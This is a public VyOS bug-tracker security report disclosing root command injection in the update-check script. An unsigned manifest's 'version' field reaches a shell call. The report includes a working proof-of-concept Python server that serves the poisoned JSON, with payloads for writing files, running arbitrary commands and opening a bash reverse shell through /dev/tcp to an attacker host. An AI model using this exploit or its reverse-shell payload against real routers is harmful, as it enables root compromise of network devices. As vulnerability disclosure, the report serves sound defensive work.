Page MenuHomeVyOS Platform

RCE in the update checker script via crafted update check server response
Closed, ResolvedPublic

Description

System update-check fetches an unsigned JSON manifest from a user-configured HTTP/HTTPS url and passes attacker-controlled field (version) directly into shell commands via call(), which auto-enable shell=True. Command substitution ($(...)) executes as root with no authentication:

vyos-1x/src/system/vyos-system-update-check.py:

call(f'wall -n "Update available: {remote_version} \nUpdate URL: {url}"')

In the following example we use a short path of serving malicious version.json to vyos from controlled host, in general possible scenarios include mitm given http url is configured, vyos dns poisoning to direct update-check to malicious host.

To reproduce run attached script on a controlled host and commit system update-check on vyos side.

python3 server.py --port 8080 --payload-type file

vyos:

set system update-check auto-check
set system update-check url http://10.200.0.2:8080/version.json

Injection created /tmp/vyos-rce-poc as root:

vyos@vyos# cat /tmp/vyos-rce-poc
RCE_VIA_VERSION_FIELD
uid=0(root) gid=0(root) groups=0(root)

Full code of server.py:

#!/usr/bin/env python3
"""
VyOS update-check RCE PoC — Malicious HTTP server

Exploits command injection in vyos-system-update-check.py line 62:
    call(f'wall -n "Update available: {remote_version} \\nUpdate URL: {url}"')

call() -> popen() -> shell=True (string contains spaces)
$(cmd) inside double-quoted string = command substitution

Injection point: 'version' field in version.json
The 'url' field is kept as a legitimate URL (urlparse() rejects bare $() payloads
in the `add system image latest` path, so only the version field is reliable).

Trigger: daemon polls immediately on service start, then every 12h.
Runs as root (no User= in systemd unit). Restart=always retries on crash.

Usage:
    python3 server.py [--port 8080] [--payload-type id|reverse|file|custom]

On VyOS:
    set system update-check url http://<attacker-ip>:8080/version.json
    set system update-check auto-check
    commit
"""

import argparse
import json
from http.server import HTTPServer, BaseHTTPRequestHandler


def payload_id():
    """PoC: writes `id` output to /tmp/pwned"""
    return '$(id > /tmp/pwned)'

def payload_reverse(host, port):
    """Reverse shell via bash"""
    return f'$(bash -c "bash -i >& /dev/tcp/{host}/{port} 0>&1")'

def payload_file_write():
    """Write proof file — safe for demos"""
    return '$(echo RCE_VIA_VERSION_FIELD > /tmp/vyos-rce-poc && id >> /tmp/vyos-rce-poc)'

def payload_custom(cmd):
    return f'$({cmd})'


def build_json(version_payload):
    """
    Build version.json response.

    The daemon extracts:
        jmespath.search('[0].version', data) -> remote_version
        jmespath.search('[0].url', data)     -> url

    Both end up in:
        call(f'wall -n "Update available: {remote_version} \\nUpdate URL: {url}"')

    Injection via 'version' field. The 'url' field is a normal URL so the
    response also works for `add system image latest` without raising errors.
    """
    return json.dumps([{
        "arch": "amd64",
        "flavors": ["generic"],
        "image": "vyos-rolling-latest.iso",
        "latest": True,
        "lts": False,
        "release_date": "2026-03-31",
        "release_train": "circinus",
        "url": "https://updates.example.com/vyos-rolling-latest.iso",
        "version": version_payload
    }])


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'\n[*] Request from {self.client_address[0]}: {self.path}')
        print(f'[*] User-Agent: {self.headers.get("User-Agent")}')

        body = build_json(self.server.version_payload).encode()

        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)

        print(f'[+] Served malicious version.json')
        print(f'    version field: {self.server.version_payload}')

    def log_message(self, format, *args):
        pass


def main():
    parser = argparse.ArgumentParser(description='VyOS update-check RCE PoC server')
    parser.add_argument('--port', type=int, default=8080)
    parser.add_argument('--bind', default='0.0.0.0')
    parser.add_argument('--payload-type', choices=['id', 'reverse', 'file', 'custom'],
                        default='file')
    parser.add_argument('--cmd', help='Custom command for --payload-type custom')
    parser.add_argument('--reverse-host', help='Reverse shell connect-back host')
    parser.add_argument('--reverse-port', type=int, default=4444,
                        help='Reverse shell connect-back port')

    args = parser.parse_args()

    if args.payload_type == 'id':
        payload = payload_id()
    elif args.payload_type == 'reverse':
        if not args.reverse_host:
            parser.error('--reverse-host required for reverse payload')
        payload = payload_reverse(args.reverse_host, args.reverse_port)
    elif args.payload_type == 'file':
        payload = payload_file_write()
    elif args.payload_type == 'custom':
        if not args.cmd:
            parser.error('--cmd required for custom payload')
        payload = payload_custom(args.cmd)

    print(f'[*] VyOS update-check RCE PoC')
    print(f'[*] Listening on {args.bind}:{args.port}')
    print(f'[*] Payload type: {args.payload_type}')
    print(f'[*] version field: {payload}')
    print(f'[*] url field: https://updates.example.com/vyos-rolling-latest.iso (benign)')
    print(f'[*] Waiting for VyOS to poll...\n')

    server = HTTPServer((args.bind, args.port), Handler)
    server.version_payload = payload

    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print('\n[*] Stopped')


if __name__ == '__main__':
    main()

Details

Version
-
Is it a breaking change?
Perfectly compatible
Issue type
Security vulnerability

Event Timeline

hedrok triaged this task as High priority.
hedrok created this object in space S1 VyOS Public.
hedrok created this object with visibility "Administrators".
evgbondarenko changed the visibility from "Administrators" to "Maintainers (Project)".May 6 2026, 8:34 AM
Viacheslav moved this task from Need Triage to Completed on the VyOS Rolling board.
dmbaturin renamed this task from unauthenticated RCE with root privileges via shell code injection in version.json to RCE in the update checker script via crafted update check server response.Tue, Sep 8, 3:57 PM
dmbaturin changed the visibility from "Maintainers (Project)" to "Public (No Login Required)".
dmbaturin changed Is it a breaking change? from Unspecified (possibly destroys the router) to Perfectly compatible.